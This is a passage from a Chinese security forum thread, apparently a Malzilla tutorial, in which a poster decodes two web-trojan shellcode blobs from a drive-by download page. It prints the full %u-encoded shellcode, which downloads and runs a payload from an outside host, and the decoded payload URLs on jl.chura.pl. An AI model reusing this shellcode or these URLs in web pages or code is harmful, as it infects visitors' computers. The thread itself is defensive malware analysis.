瑞星卡卡安全论坛技术交流区恶意网站交流 使用神器(malzilla)玩转国外网马

12   2  /  2  页   跳转

[教程] 使用神器(malzilla)玩转国外网马

回复: 使用神器(malzilla)玩转国外网马

在这里我们不再详细讲解这个十进制加密解密方法,具体可参见文章开头部分,解密得到两个shellcode部分:


%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6A2F%u2E6C%u6863%u7275%u2E61%u6C70%u722F%u2F63%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3035%u2638%u7073%u3D6C%u0033


shellcode解密结果为:
http://jl.chura.pl/rc/load.php?id=508&spl=3,应该也是个load.exe
gototop
 

回复: 使用神器(malzilla)玩转国外网马

下面是另外一个shellcode:


%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6A2F%u2E6C%u6863%u7275%u2E61%u6C70%u722F%u2F63%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3035%u2638%u7073%u3D6C%u0032


解密结果为:http://jl.chura.pl/rc/load.php?id=508&spl=2
同样应该也是个load.exe

好了,至此分析完毕,欢迎高手拍板砖
本帖被评分 1 次
gototop
 

回复:使用神器(malzilla)玩转国外网马

ls的不错,神器没有怎么研究过,又学一招
gototop
 
12   2  /  2  页   跳转
页面顶部
Powered by Discuz!NT